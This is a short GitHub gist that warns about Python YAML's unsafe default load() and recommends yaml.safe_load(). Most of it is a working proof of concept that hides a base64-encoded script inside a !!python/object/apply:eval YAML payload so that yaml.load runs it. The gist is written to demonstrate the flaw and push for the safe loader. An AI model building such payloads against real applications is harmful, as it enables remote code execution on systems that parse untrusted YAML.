Skip to content

Instantly share code, notes, and snippets.

@PaulMcMillan
Last active November 11, 2022 03:16
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PaulMcMillan/c4d560471dd529fdf9f3 to your computer and use it in GitHub Desktop.
Save PaulMcMillan/c4d560471dd529fdf9f3 to your computer and use it in GitHub Desktop.
yaml exploit encoder

The Python YAML library's default load() function will happily attempt to create arbitrary python objects. If you load an attacker-supplied yaml, bad things happen. The enclosed code snippet is an example of how to make bad things happen, since there still seem to be some non-believers.

Always use yaml.safe_load()

# Isn't this the worst thing you've ever seen?
exploit = open('exploit.py').read()
encoded_exploit = ("eval(compile('%s'.decode('base64'),'<string>','exec'))"
% exploit.encode('base64').replace('\n', ''))
yaml_object = ('\nexploit_helper: !!python/object/apply:eval ["%s",]\n'
% encoded_exploit)
# then the target does
import yaml
yaml.load(yaml_object)
# and your code runs...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment